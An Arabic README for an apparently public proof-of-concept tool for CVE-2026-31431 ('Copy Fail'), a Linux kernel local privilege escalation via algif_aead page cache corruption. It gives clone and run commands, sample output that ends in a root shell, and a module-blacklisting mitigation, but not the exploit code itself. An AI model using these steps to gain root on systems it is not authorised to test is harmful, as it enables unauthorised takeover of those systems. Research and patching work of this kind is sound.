CVE-2026-31431 "Copy Fail" - أداة بحث واختبار اختراق

⚠️ إخلاء المسؤولية

يُقدم هذا المشروع حصريًا لـ:

البحث الأمني
الأغراض التعليمية
اختبار الاختراق المصرح به
بيئات CTF والمختبرات

باستخدامك لهذه الأداة، فإنك توافق على أن:

أنك تملك النظام المستهدف أو
أنك حصلت على إذن كتابي صريح لاختبار الهدف
لن تستخدم هذا المشروع في أنشطة غير قانونية أو ضارة
أنك تفهم جميع العواقب القانونية والأخلاقية للوصول غير المصرح به

المؤلف والمساهمون ليسوا مسؤولين عن سوء الاستخدام أو الأضرار أو فقدان البيانات أو انقطاع الخدمة أو أي أنشطة غير قانونية تتم باستخدام هذا البرنامج.

📖 الوصف

أداة بحث وإثبات مفهوم لـ CVE-2026-31431، المعروفة أيضًا باسم "Copy Fail"، وهي ثغرة في نواة لينكس تؤثر على تطبيق AEAD algif_aead / authencesn.

قد تسمح الثغرة بفساد ذاكرة التخزين المؤقت للصفحات تحت ظروف معينة، مما قد يؤدي إلى رفع الامتيازات المحلية على الأنظمة المعرضة للخطر.

الأنظمة المتأثرة: نواة لينكس 4.17+ (قبل تحديثات أبريل 2026 الأمنية)
الخطورة: عالية
درجة CVSS: 7.8

✨ الميزات

🔍 كشف الثغرات دون تدمير
⚡ اختبار رفع الامتيازات المحلية
🧹 روتين التنظيف والاستعادة
📄 واجهة سطر أوامر بسيطة
🛡️ سير عمل يركز على البحث

📦 التثبيت

استنساخ المستودع:

git clone https://github.com/Lutfifakee-Project/CVE-2026-31431.git
cd CVE-2026-31431

🚀 الاستخدام

تحقق مما إذا كان النظام معرضًا للخطر

python3 exploit.py

تشغيل اختبار الاستغلال المصرح به

python3 exploit.py --exploit

عند الطلب:

Type 'YES' to continue

التنظيف بعد الاختبار

python3 exploit.py --cleanup

عرض قائمة المساعدة

python3 exploit.py --help

📸 مثال على الإخراج

$ python3 exploit.py --exploit

[!] DANGER ZONE: Exploit mode
Type 'YES' to continue: YES

[*] CVE-2026-31431 Copy Fail Exploit
[+] Page cache patching complete!
[+] Executing modified su...

# id
uid=0(root) gid=1001(user)

🛡️ التخفيف

إذا كنت مسؤول نظام وتحتاج إلى تخفيف المخاطر:

تعطيل الوحدة المعرضة للخطر

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null

📚 المراجع

تفاصيل CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
الإفصاح: https://copy.fail